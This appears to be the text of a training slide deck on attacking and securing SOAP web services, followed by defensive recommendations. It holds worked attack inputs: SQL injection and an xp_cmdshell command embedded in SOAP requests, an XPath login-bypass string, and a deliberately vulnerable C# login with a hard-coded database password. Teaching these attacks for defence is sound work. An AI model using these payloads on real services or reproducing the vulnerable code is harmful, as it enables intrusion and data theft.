-
1.
Web Services Hacking and
Security
-
2.
Recent analysis of Cloud App
• Enterprise Content Management – Cloud App
• Technologies & Components – APIs, OAuth, SAML,
SOAP, Ajax etc.
• Traditional Scanning – What to scan
• Hacking and Hands-On
– SQL injection over APIs
– XSS on Mobile interface
– Authorization bypass (Look at other’s content)
– Information leaks through JSON fuzzing
– CSRF
– Virtual Sand Box bypasses
– Mobile interface compromised
-
3.
Attacks
• Vulnerabilities in cloud infrastructures could allow
attackers to locate and eavesdrop on targeted virtual
machines (VMs) anywhere in the cloud.
• DDoS attack rains down on Amazon cloud
• Cross-VM side-channel attacks to extract information
from a target VM on the same machine.
• The use of virtualization by cloud service providers to
host virtual machines belonging to multiple
customers on a shared physical infrastructure is
opening up fresh data leak risks, a research report
warns.
-
4.
What is common in all?
• All over Web and HTTP
• Web Security and Hacking is very relevant for
Cloud
• Cloud = Web 2.0 + SOA + Something-Else
• Lot of hacks are already happening on Cloud
apps over HTTP
• Game is changing and becoming interesting …
-
5.
Security!
• Web service - evolving as new attack point in
application framework.
• Toolkits and Exploits are coming up
• Too many protocols and confusion
• Race for deployment – poor implementation
• Cases and attacks are growing with growth in business
usage
-
6.
Web
Services
Client
HTTP POST
SOAP Envelope
Web
Server
80/443
Web
Services
Engine
Web
Services
Binaries
Web Services
Deployment
Shell
Web Services
Code &
Components
User ControlledVendor ControlledIn TransitEnd Client
Security!
-
7.
Web Services Engine
Web
Services
Resource
Defense
Controls
Web Services Deployment
Web Services Code
Database
File System
Network
Resource
Attack
Agent
Attack
Method
Attack
Vector
Exploit
Vulnerability
In
Transit
Security!
-
8.
Assessment strategies
Web Services Risk
Model
Web Services Defense
Controls
Blackbox
Assessment
Whitebox
Assessment
-
9.
Technology Deployment
DB
Internet DMZ Trusted
Internal/Corporate
Web
Service
Client
Web
Server
(IIS/Apache)
Application
Servers
(.Net/Tomcat)
Web
Services
Container
(Axis)
SOAP
Serves SOAP
over
HTTP/HTTPS
XML Parsing
WSDL
Transport etc.
Web Services
Code
resides
-
10.
Web services evaluation
methodology
Footprinting
Discovery Public domain search
Enumeration
Manual Audit Auto Audit
Defense
-
11.
• In transit Sniffing or Spoofing
• WS-Routing security concern
• Replay attacks
Risk - In transit
-
12.
Risk - Web services Engine
• Buffer overflow
• XML parsing attacks
• Spoiling Schema
• Complex or Recursive structure as payload
• Denial of services
• Large payload
-
13.
Web services Deployment - Risk
• Fault code leaks
• Permissions & Access issues
• Poor policies
• Customized error leakage
• Authentication and Certification
-
14.
Web services User code - Risk
• Parameter tampering
• WSDL probing
• SQL/LDAP/XPATH/OS command injection
• Virus/Spyware/Malware injection
• Bruteforce
• Data type mismatch
• Content spoofing
• Session tampering
• Format string
• Information leakage
• Authorization
-
15.
© Blueinfy Solutions Pvt. Ltd.
Scanning SOA
-
16.
Web Service Search
• Search in the public domain
• Tool – Search Engines
• Google – An excellent tool
• Look for wsdl,asmx,jws etc.
• Filetype and allinurl are best friends
-
17.
Technology Identification
• Platform on which Web services are running
• Configuration and Structures
• File extensions
• Path discovery
Very useful information!
-
18.
Technology Identification
• Location can be obtained from UDDI
as well, if already published.
• WSDL location [ Access Point ]
http://192.168.11.2/ws/dvds4less.asmx?wsdl
.asmx – indicates
.Net server from MS
-
19.
Technology Identification
• Similarly, .jws – for Java web services
• /ws/ - in the path indicates web services
• MS-SOAPToolkit can be identified as well
C:> nc 192.168.11.2 80
HEAD / HTTP/1.0
HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 28 Sep 2004 18:48:20 GMT
X-Powered-By: ASP.NET
Connection: Keep-Alive
Content-Length: 7565
Content-Type: text/html
Set-Cookie: ASPSESSIONIDSSSRQDRC=LMMPKHNAAOFDHMIHAODOJHCO; path=/
Cache-control: private
-
20.
Technology Identification
• Resource header throws up some information
as well
C:> nc 192.168.11.2 80
HEAD /ws/dvds4less.asmx HTTP/1.0
HTTP/1.1 500 Internal Server Error
Server: Microsoft-IIS/5.0
Date: Tue, 28 Sep 2004 18:50:09 GMT
X-Powered-By: ASP.NET
X-AspNet-Version: 1.1.4322
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 3026
-
21.
WSDL Scanning/Enumeration
• What is WSDL?
• What information can one enumerate from
WSDL?
• WSDL exposure: Threat or not?
-
22.
WSDL
• Web Services Definition Language
• Similar to IDL for remote calls used in CORBA or
other remote invoke methods.
• Contains detail of methods
• Types of I/O
• Parameters of methods
• It is an XML document with standards.
-
23.
WSDL Nodes
Data
types
Message
Types
Operations
Access BindingService
-
24.
WSDL <Service>
<service name="dvds4less">
<port name="dvds4lessSoap" binding="s0:dvds4lessSoap">
<soap:address location="http://192.168.11.2/ws/dvds4less.asmx"/>
</port>
</service>
Where is the call going to go?
This is where the service is listening.
-
25.
WSDL <portType>
<portType name="dvds4lessSoap">
<operation name="Intro">
<input message="s0:IntroSoapIn"/>
<output message="s0:IntroSoapOut"/>
</operation>
<operation name="getProductInfo">
<input message="s0:getProductInfoSoapIn"/>
<output message="s0:getProductInfoSoapOut"/>
</operation>
<operation name="getRebatesInfo">
<input message="s0:getRebatesInfoSoapIn"/>
<output message="s0:getRebatesInfoSoapOut"/>
</operation>
</portType>
Methods one
can call
-
26.
WSDL <Message>
<portType name="dvds4lessSoap">
<operation name="getProductInfo">
<input message="s0:getProductInfoSoapIn"/>
<output message="s0:getProductInfoSoapOut"/>
</operation>
</portType>
<message name="getProductInfoSoapIn">
<part name="parameters" element="s0:getProductInfo"/>
</message>
<message name="getProductInfoSoapOut">
<part name="parameters"
element="s0:getProductInfoResponse"/>
</message>
-
27.
WSDL <Types>
<s:element name="getProductInfo">
<s:complexType>
<s:sequence>
<s:element minOccurs="0" maxOccurs="1" name="id" type="s:string"/>
</s:sequence>
</s:complexType>
</s:element>
<s:element name="getProductInfoResponse">
<s:complexType>
<s:sequence>
<s:element minOccurs="0" maxOccurs="1" name="getProductInfoResult"
type="s:string"/>
</s:sequence>
</s:complexType>
</s:element>
<message name="getProductInfoSoapIn">
<part name="parameters" element="s0:getProductInfo"/>
</message>
<message name="getProductInfoSoapOut">
<part name="parameters" element="s0:getProductInfoResponse"/>
</message>
-
28.
WSDL Profile after Scan
Methods INPUT OUTPUT
Intro - None - String
getProductInfo String String
getRebatesInfo String String
-
29.
© Blueinfy Solutions Pvt. Ltd.
SOAP in Action
-
30.
How to access?
• Knowing WSDL profile – What next?
• Access web services
– see what goodies you can get
• How?
-
31.
How to access SOAP?
• Simple Object Access Protocol
• Invoking objects on remote machine
• I/O with remote objects
• It is XML-based messaging
• Works over HTTP/HTTPS and on few other
protocols
• That is why firewall cannot block them.
• Attacks are easy and possible.
-
32.
SOAP request
<?xml version="1.0" encoding="utf-16"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<soap:Body>
<getProductInfo xmlns="http://tempuri.org/">
<id>1</id>
</getProductInfo>
</soap:Body>
</soap:Envelope>
SOAP
Envelope
Method
Call
Input to the
method
-
33.
SOAP response
<?xml version="1.0" encoding="utf-16"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<soap:Body>
<getProductInfoResponse xmlns="http://tempuri.org/">
<getProductInfoResult>/(1)Finding Nemo($14.99)/</getProductInfoResult>
</getProductInfoResponse>
</soap:Body>
</soap:Envelope>
SOAP
Envelope
Method
response
Output to the
method
-
34.
© Blueinfy Solutions Pvt. Ltd.
SOA Attacks
-
35.
AV 1 - XML poisoning
• XML node manipulation
• Attack on parsing logic
– SAX
– DOM
• Can be lethal – DoS or breaking execution logic
-
36.
XML poisoning
<CustomerRecord>
<CustomerNumber>289001</CustomerNumber>
<FirstName>John</FirstName>
<LastName>Smith</LastName>
<Address>Apt 31, 1st Street</Address>
<Email>john@smith.com</Email>
<PhoneNumber>3809922347</PhoneNumber>
</ CustomerRecord>
-
37.
XML poisoning
<CustomerRecord>
<CustomerNumber>289001</CustomerNumber>
<FirstName>John</FirstName><CustomerNumber>28900
1</CustomerNumber>
<FirstName>John</FirstName>
<LastName>Smith</LastName>
<Address>Apt 31, 1st Street</Address>
<Email>john@smith.com</Email>
<PhoneNumber>3809922347</PhoneNumber>
</ CustomerRecord>
-
38.
XML poisoning
<CustomerRecord>
<CustomerNumber>289001</CustomerNumber>
<FirstName>John</FirstName>
<FirstName>John</FirstName>
... 100 time…
<FirstName>John</FirstName>
<LastName>Smith</LastName>
<Address>Apt 31, 1st Street<Address>
<Email>john@smith.com<Email>
<PhoneNumber>3809922347<PhoneNumber>
</ CustomerRecord>
-
39.
Parameter tampering & Fault code leakage
• Fault code of web services spit lot of information
about internal workings.
• This attack can fetch internal paths, database
interfaces etc.
• Fault code is part of SOAP envelope and this
helps an attacker to make logical deduction
about assets.
-
40.
SOAP request
<?xml version="1.0" encoding="utf-16"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<soap:Body>
<getRebatesInfo xmlns="http://tempuri.org/">
<fileinfo>abx.xyz</fileinfo>
</getRebatesInfo>
</soap:Body>
</soap:Envelope>
SOAP
Envelope
Method
Call
Input to the
method
Forcing Fault Code
Source of Enumeration
-
41.
SOAP response
<?xml version="1.0" encoding="utf-16"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<soap:Body>
<soap:Fault>
<faultcode>soap:Server</faultcode>
<faultstring>Server was unable to process request. --> Could not find file
&quot;c:inetpubwwwrootrebatesabx.xyz&quot;.</faultstring>
<detail />
</soap:Fault>
</soap:Body>
</soap:Envelope>
Path Enumeration
Fault Code
-
42.
AV 3 - SQL injection
• SQL injection can be done using SOAP traffic.
• It is innovative way of identifying database
interface points.
• One can leverage xp_cmdshell via SOAP.
• Back end database can be compromised using
this attack.
-
43.
SOAP request
<?xml version="1.0" encoding="utf-16"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<soap:Body>
<getProductInfo xmlns="http://tempuri.org/">
<id>1</id>
</getProductInfo>
</soap:Body>
</soap:Envelope>
SOAP
Envelope
Method
Call
Input to the
method
-
44.
SOAP request
<?xml version="1.0" encoding="utf-16"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<soap:Body>
<getProductInfoResponse xmlns="http://tempuri.org/">
<getProductInfoResult>/(1)Finding Nemo($14.99)/
</getProductInfoResult>
</getProductInfoResponse>
</soap:Body>
</soap:Envelope>
Product
Information
-
45.
SOAP response
<?xml version="1.0" encoding="utf-16"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<soap:Body>
<soap:Fault>
<faultcode>soap:Server</faultcode>
<faultstring>Server was unable to process request. --> Cannot use
empty object or column names. Use a single space if necessary.</faultstring>
<detail />
</soap:Fault>
</soap:Body>
Indicates SQL Server
Place for SQL Injection
Fault Code
-
46.
SOAP response
<?xml version="1.0" encoding="utf-16"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<soap:Body>
<getProductInfo xmlns="http://tempuri.org/">
<id>1 or 1=1</id>
</getProductInfo>
</soap:Body>
</soap:Envelope>
Popular SQL Injection
Fault Code
-
47.
SOAP request
<?xml version="1.0" encoding="utf-16"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<soap:Body>
<getProductInfoResponse xmlns="http://tempuri.org/">
<getProductInfoResult>/(1)Finding Nemo($14.99)/
/(2)Bend it like Beckham($12.99)/
/(3)Doctor Zhivago($10.99)/
/(4)A Bug's Life($13.99)/
/(5)Lagaan($12.99)/
/(6)Monsoon Wedding($10.99)/
/(7)Lawrence of Arabia($14.99)/
</getProductInfoResult>
</getProductInfoResponse>
</soap:Body>
Works!!
Entire Table
Is out
-
48.
SOAP response
<?xml version="1.0" encoding="utf-16"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<soap:Body>
<getProductInfo xmlns="http://tempuri.org/">
<id>1;EXEC master..xp_cmdshell 'dir c: >
c:inetpubwwwrootwsdir.txt'</id>
</getProductInfo>
</soap:Body>
</soap:Envelope>
Exploiting this Vulnerability
Exploit code
-
49.
SOAP request
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<soap:Body>
<getProductInfoResponse xmlns="http://tempuri.org/">
<getProductInfoResult>/(1)Finding Nemo($14.99)/
</getProductInfoResult>
</getProductInfoResponse>
</soap:Body>
</soap:Envelope>
Works!!
Looks Normal
response
-
50.
SOAP request
But … Code got executed
Looks Normal
response
Got Admin via
cmdshell
-
51.
AV 4 – XPATH injection
• XPATH is new way of querying XML documents.
• This attack works nicely on web services since
they use XML extensively.
• Developer’s loophole can be leveraged with an
exploit.
• XPATH query crafting is next generation attack
methods.
-
52.
XPATH Injection - Basics
• XPATH is a language defined to find information from
XML document.
• As XPATH name suggests it indeed uses path to traverse
through nodes of XML document and look for specific
information from the document.
• XPATH provides expressions like slash (/), double slash
(//), dot(.), double dot (..), @, =, <, > etc. It helps in
traversing through XML document.
-
53.
XPATH – Vulnerable Code
string fulltext = "";
string coString = "Provider=SQLOLEDB;Server=(local);database=order;User
ID=sa;Password=mypass";
SqlXmlCommand co = new SqlXmlCommand(coString);
co.RootTag="Credential";
co.CommandType = SqlXmlCommandType.Sql;
co.CommandText = "SELECT * FROM users for xml Auto";
XmlReader xr = co.ExecuteXmlReader();
xr.MoveToContent();
fulltext = xr.ReadOuterXml();
XmlDocument doc = new XmlDocument();
doc.LoadXml(fulltext);
string credential = "//users[@username='"+user+"' and @password='"+pass+"']";
XmlNodeList xmln = doc.SelectNodes(credential);
string temp;
if(xmln.Count > 0)
{
//True
}
else //false
-
54.
Attacking XPATH point
• //users[@username='"+user+"' and @password='"+pass+"']";
• XPATH parsing can be leveraged by passing
following string ' or 1=1 or ''=‘
• This will always true on the first node and user can
get access as who ever is first user.
• //users[@username='' or 1=1 or ''='' and @password='any']
Bingo!
-
55.
AV 6 – LDAP injection
• LDAP authentication in place
• Possible to manipulate LDAP queries
• May leads to enumeration OR manipulation
• Interesting attack vector
• Fault code leaks LDAP interface
-
56.
AV 7 – File System access
• Identifying file system points
• Directory traversing & Access
• Leads to file access and source code exposure
• Lethal if found!
-
57.
AV 7 – SOAP brute forcing
• SOAP envelope takes user & pass accounts.
• It is possible to bruteforce SOAP envelope and
look for specific responses.
• This is a possible attack which can get into the
system.
• Analyzing SOAP response is key for this set of
attack.
-
58.
AV 8 – Parameter overflow
• Adding large buffers to XML nodes
• Depending on code controls – It may fail in
handling
• Breaking the application
• May compromise as well
• Traditional buffer overflow type attacks
-
59.
AV 9 – Operating System access
• Point to OS
• Remote command execution is possible
• Either by “|” or “;”
• Attack is very much possible
• Leads to admin/root on the box…
-
60.
AV 10 – Session hijacking
• Web services can maintain sessions
• [WebMethod(EnableSession=true)]
• Possible to reverse engineer session
• Cookie tempering is reality…
• Can be compared to traditional web
application session.
-
61.
Other attacks
• External referencing – XML schema
• XSS attack
• In transit attacks – replay and spoofing
-
62.
© Blueinfy Solutions Pvt. Ltd.
Securing SOA
-
63.
Defense 1: SOAP filtering
• Regular firewall will not work
• Content filtering on HTTP will not work either
since it is SOAP over HTTP/HTTPS
• SOAP level filtering and monitoring would
require
• ISAPI level filtering is essential
• SOAP content filtering – products or in-house
-
64.
IIS
Web Server
HTTP
Stack
.Net
Web
Services
IIS Web Server
web2wall (Filter)
Web
Services
Client
SOAP Envelope
Reject
Rules for SOAP
Defense 1: SOAP filtering
-
65.
Defense 2: WSDL hardening
• WSDL is major source of information
• Should not have any leakage
• Only provide necessary methods
• Invokes over SSL only
• WSDL hardening thoroughly
-
66.
Defense 3: Authentication & Authorization
• WSDL access control
• Use of SAML
• Credentials – WS-Security
• Certificate analysis
• SOAP and XML filtering before access
-
67.
Defense 4: Secure Coding
• Fault code management and Exception control
• Input validation
• SQL integration
• Levels of coding using different components
-
68.
Defense 5: XML parsing
• Good XML parsing should be used
• .Net/J2EE – may have issues with XML parsing
• Buffer overflows using schema poisoning
-
69.
© Blueinfy Solutions Pvt. Ltd.
Conclusion
The objective of this section is to use a Web services assessment methodology that is used in the field.
Search engines maintain a cache of all links collected from web sites.
Search engines use their own crawling software to fetch links on Web services.
Try this: To find web services running on the “amazon” domain, type:
inurl:wsdl site:amazon.com
Objective: gather all possible information about Web services
One of the major sources of information: WSDL file
The objective of this step is to scan Web services and gather initial attack points. Web services are running with different resources. Each of these resources is linked together and a scanning exercise helps in collecting these resources. A WSDL file is a very important resource for Web services, and its scanning is therefore a very important exercise.
WSDL is an XML document that serves two purposes:
Defines how to access Web services
Furnishes information about where to access these Web services
In a nutshell, Web services specifies the location and operations of Web services.
Any Web service client can fetch information from the WSDL and build specific requests.
WSDL has 4 main components (XML):
Type element:
used when defined data types are complex types.
binding element:
contains information about accessing Web services.
Has two attributes within the tag name: any name and port binding.
&lt;binding&gt; links to &lt;portType&gt;
soap:binding element provides style and transport attribute information.
e.g. http://schemas.xmlsoap.org/soap/http (reflects SOAP protocol over HTTP)
style can be either rpc or document.
soap:operation element is a mandatory attribute for certain operations.
HTTP requests must be sent over a network using soapAction in the HTTP header. (Otherwise Web services would not respond.)
Service name: dvds4less
Binding address: http://192.168.11.2/ws/dvds4less.asmx
This information provides the location and its access position.
All calls and Web-based API invoked will be handled at this location.
portType element:
comparable to a class or module in C++ or Java.
a class or module contains a set of methods that can be accessed.
These methods are specified in the &lt;operation&gt; element.
Operations and methods are actual entry points to Web services.
portType presents the type of invoke supported. (SOAP)
Sometimes, GET and POST are also supported.
Operation represents the method name
message element:
contains information about the name and type of parameter.